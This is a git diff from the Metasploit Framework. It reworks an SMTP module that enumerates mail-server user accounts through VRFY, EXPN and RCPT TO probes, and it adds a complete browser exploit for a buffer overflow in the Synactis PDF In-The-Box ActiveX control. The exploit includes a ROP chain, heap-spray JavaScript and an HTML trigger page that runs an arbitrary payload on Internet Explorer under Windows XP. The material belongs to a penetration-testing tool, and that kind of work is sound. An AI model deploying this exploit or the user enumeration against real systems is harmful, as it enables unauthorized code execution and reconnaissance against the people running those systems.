Merge branch 'master' of https://github.com/rapid7/metasploit-framework
commit
9c27a294cb
|
@ -33,7 +33,8 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
'Author' =>
|
'Author' =>
|
||||||
[
|
[
|
||||||
'==[ Alligator Security Team ]==',
|
'==[ Alligator Security Team ]==',
|
||||||
'Heyder Andrade <heyder[at]alligatorteam.org>'
|
'Heyder Andrade <heyder[at]alligatorteam.org>',
|
||||||
|
'nebulus'
|
||||||
],
|
],
|
||||||
'License' => MSF_LICENSE
|
'License' => MSF_LICENSE
|
||||||
)
|
)
|
||||||
|
@ -45,184 +46,173 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
[
|
[
|
||||||
true, 'The file that contains a list of probable users accounts.',
|
true, 'The file that contains a list of probable users accounts.',
|
||||||
File.join(Msf::Config.install_root, 'data', 'wordlists', 'unix_users.txt')
|
File.join(Msf::Config.install_root, 'data', 'wordlists', 'unix_users.txt')
|
||||||
]
|
]),
|
||||||
)], self.class)
|
OptBool.new('UNIXONLY', [ true, 'Skip Microsoft bannered servers when testing unix users', true])
|
||||||
|
], self.class)
|
||||||
|
|
||||||
deregister_options('MAILTO','MAILFROM')
|
deregister_options('MAILTO','MAILFROM')
|
||||||
end
|
end
|
||||||
|
|
||||||
def target
|
def smtp_send(data=nil)
|
||||||
"#{rhost}:#{rport}"
|
|
||||||
end
|
|
||||||
|
|
||||||
def smtp_send(data=nil, con=true)
|
|
||||||
begin
|
begin
|
||||||
@result=''
|
result=''
|
||||||
@coderesult=''
|
code=0
|
||||||
if (con)
|
|
||||||
@connected=false
|
|
||||||
connect
|
|
||||||
select(nil,nil,nil,0.4)
|
|
||||||
end
|
|
||||||
@connected=true
|
|
||||||
sock.put("#{data}")
|
sock.put("#{data}")
|
||||||
@result=sock.get_once
|
result=sock.get_once
|
||||||
@coderesult=@result[0..2] if @result
|
result.chomp! if(result)
|
||||||
|
code = result[0..2].to_i if result
|
||||||
|
return result, code
|
||||||
|
rescue Rex::ConnectionError, Errno::ECONNRESET, ::EOFError
|
||||||
|
return result, code
|
||||||
rescue ::Exception => e
|
rescue ::Exception => e
|
||||||
print_error("Error: #{e}")
|
print_error("#{rhost}:#{rport} Error smtp_send: '#{e.class}' '#{e}'")
|
||||||
raise e
|
return nil, 0
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
def run_host(ip)
|
def run_host(ip)
|
||||||
@users_found = {}
|
users_found = {}
|
||||||
@mails_found = {}
|
result = nil # temp for storing result of SMTP request
|
||||||
|
code = 0 # status code parsed from result
|
||||||
|
vrfy = true # if vrfy allowed
|
||||||
|
expn = true # if expn allowed
|
||||||
|
rcpt = true # if rcpt allowed and useful
|
||||||
|
usernames = extract_words(datastore['USER_FILE'])
|
||||||
|
|
||||||
cmd = 'HELO' + " " + "localhost" + "\r\n"
|
cmd = 'HELO' + " " + "localhost" + "\r\n"
|
||||||
smtp_send(cmd,true)
|
connect
|
||||||
print_status(banner)
|
result, code = smtp_send(cmd)
|
||||||
@domain = @result.split()[1].split(".")[1..-1].join(".")
|
|
||||||
print_status("Domain Name: #{@domain}")
|
|
||||||
|
|
||||||
begin
|
if(not result)
|
||||||
cmd = 'VRFY' + " " + "root" + "\r\n"
|
print_error("#{rhost}:#{rport} Connection but no data...skipping")
|
||||||
smtp_send(cmd,!@connected)
|
return
|
||||||
if (@result.match(%r{Cannot})) or (@result.match(%r{recognized}))
|
end
|
||||||
vprint_status("VRFY command disabled")
|
banner.chomp! if (banner)
|
||||||
elsif (@result.match(%r{restricted}))
|
if(banner =~ /microsoft/i and datastore['UNIXONLY'])
|
||||||
vprint_status("VRFY command restricted")
|
print_status("#{rhost}:#{rport} Skipping microsoft (#{banner})")
|
||||||
|
return
|
||||||
|
elsif(banner)
|
||||||
|
print_status("#{rhost}:#{rport} Banner: #{banner}")
|
||||||
|
end
|
||||||
|
|
||||||
|
domain = result.split()[1]
|
||||||
|
domain = 'localhost' if(domain == '' or not domain or domain.downcase == 'hello')
|
||||||
|
|
||||||
|
|
||||||
|
vprint_status("#{ip}:#{rport} Domain Name: #{domain}")
|
||||||
|
|
||||||
|
result, code = smtp_send("VRFY root\r\n")
|
||||||
|
vrfy = (code == 250)
|
||||||
|
users_found = do_enum('VRFY', usernames) if (vrfy)
|
||||||
|
|
||||||
|
if(users_found.empty?)
|
||||||
|
# VRFY failed, lets try EXPN
|
||||||
|
result, code = smtp_send("EXPN root\r\n")
|
||||||
|
expn = (code == 250)
|
||||||
|
users_found = do_enum('EXPN', usernames) if(expn)
|
||||||
|
end
|
||||||
|
|
||||||
|
if(users_found.empty?)
|
||||||
|
# EXPN/VRFY failed, drop back to RCPT TO
|
||||||
|
result, code = smtp_send("MAIL FROM: root\@#{domain}\r\n")
|
||||||
|
if(code == 250)
|
||||||
|
user = Rex::Text.rand_text_alpha(8)
|
||||||
|
result, code = smtp_send("RCPT TO: #{user}\@#{domain}\r\n")
|
||||||
|
if(code >= 250 and code <= 259)
|
||||||
|
vprint_status("#{rhost}:#{rport} RCPT TO: Allowed for random user (#{user})...not reliable? #{code} '#{result}'")
|
||||||
|
rcpt = false
|
||||||
|
else
|
||||||
|
smtp_send("RSET\r\n")
|
||||||
|
users_found = do_rcpt_enum(domain, usernames)
|
||||||
|
end
|
||||||
else
|
else
|
||||||
vprint_status("VRFY command enabled")
|
rcpt = false
|
||||||
vrfy_ok=true
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
begin
|
if(not vrfy and not expn and not rcpt)
|
||||||
if (vrfy_ok)
|
print_status("#{rhost}:#{rport} could not be enumerated (no EXPN, no VRFY, invalid RCPT)")
|
||||||
extract_words(datastore['USER_FILE']).each {|user|
|
return
|
||||||
do_vrfy_enum(user)
|
|
||||||
}
|
|
||||||
else
|
|
||||||
do_mail_from()
|
|
||||||
extract_words(datastore['USER_FILE']).each {|user|
|
|
||||||
return finish_host() if ((do_rcpt_enum(user)) == :abort)
|
|
||||||
}
|
|
||||||
end
|
|
||||||
|
|
||||||
if(@users_found.empty?)
|
|
||||||
print_status("#{target} No users or e-mail addresses found.")
|
|
||||||
else
|
|
||||||
vprint_status("#{target} - SMTP - Trying to get valid e-mail addresses")
|
|
||||||
@users_found.keys.each {|mails|
|
|
||||||
return finish_host() if((do_get_mails(mails)) == :abort)
|
|
||||||
}
|
|
||||||
finish_host()
|
|
||||||
disconnect
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
finish_host(users_found)
|
||||||
|
disconnect
|
||||||
|
|
||||||
|
rescue Rex::ConnectionError, Errno::ECONNRESET, Rex::ConnectionTimeout, EOFError, Errno::ENOPROTOOPT
|
||||||
|
rescue ::Exception => e
|
||||||
|
print_error("Error: #{rhost}:#{rport} '#{e.class}' '#{e}'")
|
||||||
end
|
end
|
||||||
|
|
||||||
def finish_host()
|
def finish_host(users_found)
|
||||||
if @users_found && !@users_found.empty?
|
if users_found and not users_found.empty?
|
||||||
print_good("#{target} Users found: #{@users_found.keys.sort.join(", ")}")
|
print_good("#{rhost}:#{rport} Users found: #{users_found.sort.join(", ")}")
|
||||||
report_note(
|
report_note(
|
||||||
:host => rhost,
|
:host => rhost,
|
||||||
:port => rport,
|
:port => rport,
|
||||||
:type => 'smtp.users',
|
:type => 'smtp.users',
|
||||||
:data => {:users => @users_found.keys.join(", ")}
|
:data => {:users => users_found.join(", ")}
|
||||||
)
|
|
||||||
end
|
|
||||||
|
|
||||||
if(@mails_found.nil? or @mails_found.empty?)
|
|
||||||
print_status("#{target} No e-mail addresses found.")
|
|
||||||
else
|
|
||||||
print_good("#{target} E-mail addresses found: #{@mails_found.keys.sort.join(", ")}")
|
|
||||||
report_note(
|
|
||||||
:host => rhost,
|
|
||||||
:port => rport,
|
|
||||||
:type => 'smtp.mails',
|
|
||||||
:data => {:mails => @mails_found.keys.join(", ")}
|
|
||||||
)
|
)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
def do_vrfy_enum(user)
|
def kiss_and_make_up(cmd)
|
||||||
cmd = 'VRFY' + " " + user + "\r\n"
|
vprint_status("#{rhost}:#{rport} SMTP server annoyed...reconnecting and saying HELO again...")
|
||||||
smtp_send(cmd,!@connected)
|
disconnect
|
||||||
vprint_status("#{target} - SMTP - Trying name: '#{user}'")
|
connect
|
||||||
case @coderesult.to_i
|
smtp_send("HELO localhost\r\n")
|
||||||
when (250..259)
|
result, code = smtp_send("#{cmd}")
|
||||||
print_good "#{target} - Found user: #{user}"
|
result.chomp!
|
||||||
@users_found[user] = :reported
|
cmd.chomp!
|
||||||
mail = @result.scan(%r{\<(.*)(@)(.*)\>})
|
vprint_status("#{rhost}:#{rport} - SMTP - Re-trying #{cmd} received #{code} '#{result}'")
|
||||||
unless (mail.nil? || mail.empty?)
|
return result,code
|
||||||
@mails_found[mail.to_s] = :reported
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def do_mail_from()
|
def do_enum(cmd, usernames)
|
||||||
vprint_status("Trying to use to RCPT TO command")
|
|
||||||
cmd = 'MAIL FROM:' + " root@" + @domain + "\r\n"
|
users = []
|
||||||
smtp_send(cmd,!@connected)
|
usernames.each {|user|
|
||||||
if (@coderesult == '501') && @domain.split(".").count > 2
|
next if user.downcase == 'root'
|
||||||
print_error "#{target} - MX domain failure for #{@domain}, trying #{@domain.split(/\./).slice(-2,2).join(".")}"
|
result, code = smtp_send("#{cmd} #{user}\r\n")
|
||||||
cmd = 'MAIL FROM:' + " root@" + @domain.split(/\./).slice(-2,2).join(".") + "\r\n"
|
vprint_status("#{rhost}:#{rport} - SMTP - Trying #{cmd} #{user} received #{code} '#{result}'")
|
||||||
smtp_send(cmd,!@connected)
|
result, code = kiss_and_make_up("#{cmd} #{user}\r\n") if(code == 0 and result.to_s == '')
|
||||||
if (@coderesult == '501')
|
if(code == 250)
|
||||||
print_error "#{target} - MX domain failure for #{@domain.split(/\./).slice(-2,2).join(".")}"
|
vprint_status("#{rhost}:#{rport} - Found user: #{user}")
|
||||||
return :abort
|
users.push(user)
|
||||||
end
|
end
|
||||||
elsif (@coderesult == '501')
|
}
|
||||||
print_error "#{target} - MX domain failure for #{@domain}"
|
return users
|
||||||
return :abort
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def do_rcpt_enum(user)
|
def do_rcpt_enum(domain, usernames)
|
||||||
cmd = 'RCPT TO:' + " " + user + "\r\n"
|
users = []
|
||||||
smtp_send(cmd,!@connected)
|
usernames.each {|user|
|
||||||
vprint_status("#{target} - SMTP - Trying name: '#{user}'")
|
next if user.downcase == 'root'
|
||||||
case @coderesult.to_i
|
vprint_status("#{rhost}:#{rport} - SMTP - Trying MAIL FROM: root\@#{domain} / RCPT TO: #{user}...")
|
||||||
# 550 is User unknown, which obviously isn't fatal when trying to
|
result, code = smtp_send("MAIL FROM: root\@#{domain}\r\n")
|
||||||
# enumerate users, so only abort on other 500-series errors. See #4031
|
result, code = kiss_and_make_up("MAIL FROM: root\@#{domain}\r\n") if(code == 0 and result.to_s == '')
|
||||||
when (500..549), (551..599)
|
|
||||||
print_error "#{target} : #{@result.strip if @result} "
|
|
||||||
print_error "#{target} : Enumeration not possible"
|
|
||||||
return :abort
|
|
||||||
when (250..259)
|
|
||||||
print_good "#{target} - Found user: #{user}"
|
|
||||||
@users_found[user] = :reported
|
|
||||||
mail = @result.scan(%r{\<(.*)(@)(.*)\>})
|
|
||||||
unless (mail.nil? || mail.empty?)
|
|
||||||
@mails_found[mail.to_s] = :reported
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
def do_get_mails(user)
|
if(code == 250)
|
||||||
cmd = 'EXPN' + " " + user + "\r\n"
|
result, code = smtp_send("RCPT TO: #{user}\@#{domain}\r\n")
|
||||||
smtp_send(cmd,!@connected)
|
if(code == 0 and result.to_s == '')
|
||||||
if (@coderesult == '502')
|
kiss_and_make_up("MAIL FROM: root\@#{domain}\r\n")
|
||||||
print_error "#{target} - EXPN : #{@result.strip if @result}"
|
result, code = smtp_send("RCPT TO: #{user}\@#{domain}\r\n")
|
||||||
return :abort
|
|
||||||
else
|
|
||||||
unless (@result.nil? || @result.empty?)
|
|
||||||
mail = @result.scan(%r{\<(.*)(@)(.*)\>})
|
|
||||||
unless (mail.nil? || mail.empty?)
|
|
||||||
print_good "#{target} - Mail Found: #{mail}"
|
|
||||||
@mails_found[mail.to_s] = :reported
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
if(code == 250)
|
||||||
|
vprint_status("#{rhost}:#{rport} - Found user: #{user}")
|
||||||
|
users.push(user)
|
||||||
|
end
|
||||||
|
else
|
||||||
|
vprint_status("#{rhost}:#{rport} MAIL FROM: #{user} NOT allowed during brute...aborting ( '#{code}' '#{result}')")
|
||||||
|
break
|
||||||
end
|
end
|
||||||
end
|
smtp_send("RSET\r\n")
|
||||||
|
}
|
||||||
|
return users
|
||||||
end
|
end
|
||||||
|
|
||||||
def extract_words(wordfile)
|
def extract_words(wordfile)
|
||||||
return [] unless wordfile && File.readable?(wordfile)
|
return [] unless wordfile && File.readable?(wordfile)
|
||||||
begin
|
words = File.open(wordfile, "rb") {|f| f.read}
|
||||||
words = File.open(wordfile, "rb") {|f| f.read}
|
|
||||||
rescue
|
|
||||||
return
|
|
||||||
end
|
|
||||||
save_array = words.split(/\r?\n/)
|
save_array = words.split(/\r?\n/)
|
||||||
return save_array
|
return save_array
|
||||||
end
|
end
|
||||||
|
|
|
@ -0,0 +1,206 @@
|
||||||
|
##
|
||||||
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
# Framework web site for more information on licensing and terms of use.
|
||||||
|
# http://metasploit.com/framework/
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
Rank = NormalRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpServer::HTML
|
||||||
|
include Msf::Exploit::RopDb
|
||||||
|
include Msf::Exploit::Remote::BrowserAutopwn
|
||||||
|
|
||||||
|
autopwn_info({
|
||||||
|
:ua_name => HttpClients::IE,
|
||||||
|
:ua_minver => "7.0",
|
||||||
|
:ua_maxver => "8.0",
|
||||||
|
:javascript => true,
|
||||||
|
:classid => "{C80CAF1F-C58E-11D5-A093-006097ED77E6}",
|
||||||
|
:method => "ConnectToSynactis",
|
||||||
|
:os_name => OperatingSystems::WINDOWS,
|
||||||
|
:rank => AverageRanking
|
||||||
|
})
|
||||||
|
|
||||||
|
def initialize(info={})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => "Synactis PDF In-The-Box ConnectToSynactic Stack Buffer Overflow",
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits a vulnerability found in Synactis' PDF In-The-Box ActiveX
|
||||||
|
component, specifically PDF_IN_1.ocx. When a long string of data is given
|
||||||
|
to the ConnectToSynactis function, which is meant to be used for the ldCmdLine
|
||||||
|
argument of a WinExec call, a strcpy routine can end up overwriting a TRegistry
|
||||||
|
class pointer saved on the stack, and results in arbitrary code execution under the
|
||||||
|
context of the user.
|
||||||
|
|
||||||
|
Also note that since the WinExec function is used to call the default browser,
|
||||||
|
you must be aware that: 1) The default must be Internet Explorer, and 2) When the
|
||||||
|
exploit runs, another browser will pop up.
|
||||||
|
|
||||||
|
Synactis PDF In-The-Box is also used by other software such as Logic Print 2013,
|
||||||
|
which is how the vulnerability was found and publicly disclosed.
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'h1ch4m',
|
||||||
|
'sinn3r' #Metasploit
|
||||||
|
],
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'OSVDB', '93754' ],
|
||||||
|
[ 'EDB', '25835' ]
|
||||||
|
],
|
||||||
|
'Platform' => 'win',
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
# Newer setups like Win + IE8: "Object doesn't support this property or method"
|
||||||
|
[ 'Automatic', {} ],
|
||||||
|
[
|
||||||
|
'IE 7 on Windows XP SP3', {'Eax' => 0x0c0c0c0c}
|
||||||
|
],
|
||||||
|
[
|
||||||
|
# 0x20302020 = Where the heap spray will land
|
||||||
|
# 0x77c15ed5 = xchg eax,esp; rcr dword ptr [esi-75], 0c1h, pop ebp; ret 4
|
||||||
|
'IE 8 on Windows XP SP3',
|
||||||
|
{ 'Rop' => :msvcrt, 'Pivot' => 0x77C218D3, 'Ecx' => 0x20302024, 'Eax' => 0x20302028 }
|
||||||
|
]
|
||||||
|
],
|
||||||
|
'Payload' =>
|
||||||
|
{
|
||||||
|
'BadChars' => "\x00",
|
||||||
|
'StackAdjustment' => -3500
|
||||||
|
},
|
||||||
|
'DefaultOptions' =>
|
||||||
|
{
|
||||||
|
'InitialAutoRunScript' => 'migrate -f'
|
||||||
|
},
|
||||||
|
'Privileged' => false,
|
||||||
|
'DisclosureDate' => "May 30 2013",
|
||||||
|
'DefaultTarget' => 0))
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_target(agent)
|
||||||
|
return target if target.name != 'Automatic'
|
||||||
|
|
||||||
|
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
|
||||||
|
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
|
||||||
|
|
||||||
|
ie_name = "IE #{ie}"
|
||||||
|
|
||||||
|
case nt
|
||||||
|
when '5.1'
|
||||||
|
os_name = 'Windows XP SP3'
|
||||||
|
end
|
||||||
|
|
||||||
|
targets.each do |t|
|
||||||
|
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
|
||||||
|
return t
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_payload(t, cli)
|
||||||
|
code = payload.encoded
|
||||||
|
|
||||||
|
case t['Rop']
|
||||||
|
when :msvcrt
|
||||||
|
print_status("Using msvcrt ROP")
|
||||||
|
align = "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
|
||||||
|
# Must be null-byte-free for the spray
|
||||||
|
chain =
|
||||||
|
[
|
||||||
|
t['Pivot'],
|
||||||
|
0x41414141,
|
||||||
|
t['Ecx'], # To ECX
|
||||||
|
0x77c1e844, # POP EBP # RETN [msvcrt.dll]
|
||||||
|
0x41414141,
|
||||||
|
0x77c1e844, # skip 4 bytes [msvcrt.dll]
|
||||||
|
0x77c4fa1c, # POP EBX # RETN [msvcrt.dll]
|
||||||
|
0xffffffff,
|
||||||
|
0x77c127e5, # INC EBX # RETN [msvcrt.dll]
|
||||||
|
0x77c127e5, # INC EBX # RETN [msvcrt.dll]
|
||||||
|
0x77c4e0da, # POP EAX # RETN [msvcrt.dll]
|
||||||
|
0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx)
|
||||||
|
0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
|
||||||
|
0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll]
|
||||||
|
0x77c34fcd, # POP EAX # RETN [msvcrt.dll]
|
||||||
|
0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx)
|
||||||
|
0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
|
||||||
|
0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll]
|
||||||
|
0x77c3048a, # POP EDI # RETN [msvcrt.dll]
|
||||||
|
0x77c47a42, # RETN (ROP NOP) [msvcrt.dll]
|
||||||
|
0x77c46efb, # POP ESI # RETN [msvcrt.dll]
|
||||||
|
0x77c2aacc, # JMP [EAX] [msvcrt.dll]
|
||||||
|
0x77c3b860, # POP EAX # RETN [msvcrt.dll]
|
||||||
|
0x77c1110c, # ptr to &VirtualAlloc() [IAT msvcrt.dll]
|
||||||
|
0x77c12df9, # PUSHAD # RETN [msvcrt.dll]
|
||||||
|
0x77c35459 # ptr to 'push esp # ret ' [msvcrt.dll]
|
||||||
|
].pack("V*")
|
||||||
|
|
||||||
|
p = chain + align + code
|
||||||
|
|
||||||
|
else
|
||||||
|
p = "\x0c" * 50 + code
|
||||||
|
end
|
||||||
|
|
||||||
|
p
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_html(cli, req, target)
|
||||||
|
js_p = ::Rex::Text.to_unescape(get_payload(target, cli), ::Rex::Arch.endian(target.arch))
|
||||||
|
eax = "\\x" + [target['Eax']].pack("V*").unpack("H*")[0].scan(/../) * "\\x"
|
||||||
|
|
||||||
|
html = %Q|
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<script>
|
||||||
|
#{js_property_spray}
|
||||||
|
|
||||||
|
function r()
|
||||||
|
{
|
||||||
|
var s = unescape("#{js_p}");
|
||||||
|
sprayHeap({shellcode:s});
|
||||||
|
|
||||||
|
var p1 = '';
|
||||||
|
var p2 = '';
|
||||||
|
eax = "#{eax}";
|
||||||
|
|
||||||
|
while (p1.length < 189) p1 += "\\x0c";
|
||||||
|
while (p2.length < 7000) p2 += "\\x0c";
|
||||||
|
|
||||||
|
var obj = document.getElementById("obj");
|
||||||
|
obj.ConnectToSynactis(p1+eax+p2);
|
||||||
|
}
|
||||||
|
</script>
|
||||||
|
</head>
|
||||||
|
<body OnLoad="r();">
|
||||||
|
<OBJECT classid="clsid:C80CAF1F-C58E-11D5-A093-006097ED77E6" id="obj"></OBJECT>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
|
|
||||||
|
|
||||||
|
html.gsub(/^\t\t/, '')
|
||||||
|
end
|
||||||
|
|
||||||
|
def on_request_uri(cli, request)
|
||||||
|
agent = request.headers['User-Agent']
|
||||||
|
uri = request.uri
|
||||||
|
print_status("Requesting: #{uri}")
|
||||||
|
|
||||||
|
target = get_target(agent)
|
||||||
|
if target.nil?
|
||||||
|
print_error("Browser not supported, sending 404: #{agent}")
|
||||||
|
send_not_found(cli)
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
print_status("Target selected as: #{target.name}")
|
||||||
|
send_response(cli, get_html(cli, request, target), {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'})
|
||||||
|
end
|
||||||
|
end
|
Loading…
Reference in New Issue